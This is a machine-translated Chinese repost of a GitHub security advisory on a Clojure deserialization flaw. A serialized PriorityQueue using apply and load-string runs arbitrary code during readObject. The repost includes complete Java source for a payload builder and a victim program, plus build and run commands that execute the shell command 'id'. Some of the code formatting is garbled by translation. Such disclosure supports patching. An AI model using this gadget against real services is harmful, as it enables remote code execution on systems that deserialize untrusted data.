
Clojure 反序列化漏洞可导致远程代码执行
来源标题:Clojure: Deserialization of Untrusted Data Allows Remote Code Execution
Clojure 存在反序列化漏洞,攻击者可通过构造恶意序列化的 java.util.PriorityQueue 触发远程代码执行,仅依赖 clojure.jar 和 JDK 中的类即可利用。受影响版本为 1.12.6 及以下,以及 1.13.0-alpha1 至 alpha11,修复版本为 1.12.7。该漏洞已在实际版本 1.10.3、1.11.1、1.12.4、1.12.6 和 1.13.0-alpha11 上复现,且不受 *read-eval* 设置影响。
以下正文由 AI 翻译自 Hacker News 最新(原文版权归原站所有),可能存在偏差,重要内容请以原文为准。
代码 操作 项目 安全与质量2(2) 洞察 更多项目 clojure 安全 公告 GHSA-x4c4-68gp-vrhc 反序列化不受信任数据可导致远程代码执行 本报告在 AI 辅助下提交 org.clojure:clojure (Maven) 受影响版本 ≤ 1.12.6
= 1.13.0-alpha1, <= 1.13.0-alpha11 修复版本 1.12.7 描述 摘要 编译后的 Clojure 函数实现了 java.util.Comparator,而 AFunction.compare 会执行该函数。一个序列化的 java.util.PriorityQueue,其 comparator 为 clojure.core/apply、元素为 clojure.core/load-string 和一段 Clojure 源代码字符串,会在 ObjectInputStream.readObject 期间执行该源代码,且仅使用 clojure.jar 和 JDK 中的类。已在 1.10.3、1.11.1、1.12.4、1.12.6 和 1.13.0-alpha11 上复现,与 read-eval 无关。 clojure.lang.AFunction 是每个编译后的 Clojure 函数的基类,它实现了 java.util.Comparator,其 compare 方法在解释结果之前先执行函数: src/jvm/clojure/lang/AFunction.java:18 public abstract class AFunction extends AFn implements IObj, Comparator, Fn, Serializable { src/jvm/clojure/lang/AFunction.java:52-53 public int compare(Object o1, Object o2){ Object o = invoke(o1, o2); // 函数在此处执行 ... 对 1.12.6 发行版执行 javap 显示,该修复并未改变这一点: $ javap -cp clojure-1.12.6.jar clojure.lang.AFunction public abstract class clojure.lang.AFunction extends clojure.lang.AFn implements clojure.lang.IObj, java.util.Comparator, clojure.lang.Fn, java.io.Serializable { public int compare(java.lang.Object, java.lang.Object); clojure.jar 中自带的两个函数完成了这条链: src/clj/clojure/core.clj:663-668 apply -> (. f (applyTo (seq args))) src/clj/clojure/core.clj:4136-4144 load-string -> load-reader -> clojure.lang.Compiler.eval java.util.PriorityQueue 是可序列化的,其 readObject 会使用 comparator 重建堆: java.util.PriorityQueue.readObject -> heapify -> siftDownUsingComparator -> comparator.compare(e0, e1) 当 comparator = apply、queue = [load-string, ["<source>"]] 时,比较 compare(load-string, ["<source>"]) 变为 (apply load-string ["<source>"]),即 (load-string "<source>"),从而将源代码交给编译器。 该 gadget 完全由 clojure.jar 中自带的类(通过 clojure.core/apply 和 clojure.core/load-string 使用的 clojure.lang.AFunction,以及 clojure.lang.PersistentVector)和 JDK 中的 java.util.PriorityQueue 组成。不需要任何应用代码、第三方库或修改过的类。受害者只需执行一次 ObjectInputStream.readObject 调用。 使用了两个文件:一个用于生成 payload 的构建器,以及一个执行反序列化的受害者程序。 import clojure.java.api.Clojure; import clojure.lang.IDeref; import clojure.lang.PersistentVector; import java.io.*; import java.lang.reflect.Field; import java.util.Comparator; import java.util.PriorityQueue; public class BuildPayload { static Object fn(String ns, String name) { return ((IDeref) Clojure.var(ns, name)).deref(); } static void setField(Object t, String n, Object v) throws Exception { Field f = t.getClass().getDeclaredField(n); f.setAccessible(true); f.set(t, v); public static void main(String[] args) throws Exception { // 攻击者提供的源代码:执行操作系统命令
id,记录结果,返回一个数字,使 // comparator 的结果格式正确,反序列化得以安静完成。 String code = "(do (require (quote clojure.java.shell))"
- " (spit "/tmp/proof.txt""
- " (str "code execution during ObjectInputStream.readObject | id=""
- " (:out ((resolve (quote clojure.java.shell/sh)) "id")))) 0)"; Object apply = fn("clojure.core", "apply"); // comparator Object loadString = fn("clojure.core", "load-string"); // 队列元素 0 Field cache = Class.forName("clojure.lang.AFunction").getField("__methodImplCache"); cache.set(apply, null); cache.set(loadString, null); // 不可序列化;若已设置则清除 PersistentVector arg = PersistentVector.create(new Object[]{ code }); // 元素 1 -> ["<source>"] PriorityQueue pq = new PriorityQueue(2, (Comparator) apply); setField(pq, "queue", new Object[]{ loadString, arg }); // 直接设置,以便构建时不会触发比较 setField(pq, "size", 2); try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"))) { oos.writeObject(pq); System.out.println("payload.ser (" + new File("payload.ser").length() + " bytes)"); 受害者程序 import java.io.*; public class Victim { public static void main(String[] args) throws Exception { String file = args.length > 0 ? args[0] : "payload.ser"; File proof = new File("/tmp/proof.txt"); proof.delete(); System.out.println("before readObject: /tmp/proof.txt exists = " + proof.exists()); try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) { ois.readObject(); } catch (Throwable t) { System.out.println("readObject raised " + t.getClass().getName() + " (after the code ran)"); System.out.println("after readObject: /tmp/proof.txt exists = " + proof.exists()); if (proof.exists()) try (BufferedReader r = new BufferedReader(new FileReader(proof))) { System.out.println("proof: " + r.readLine()); 构建并运行 payload 只需构建一次。--add-opens 标志仅在生成字节时通过反射填充队列的底层数组时需要,且仅适用于构建器。直接使用标准序列化 gadget 的流写入技术编写序列化流则不需要反射(此处未展示)。受害者程序在标准 JVM 上运行,无需任何标志。 $ javac -cp "$(clojure -Spath)" BuildPayload.java Victim.java $ java --add-opens java.base/java.util=ALL-UNNAMED -cp "$(clojure -Spath):." BuildPayload payload.ser (922 bytes) 针对最新的稳定版本 1.12.6 运行: $ java -cp "$(clojure -Sdeps '{:deps {org.clojure/clojure {:mvn/version "1.12.6"}}}' -Spath):." Victim payload.ser runtime: 1.12.6 | java: 25.0.2
(原文较长,此处译出前 6000 字,完整内容请点「打开原文」。)
正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。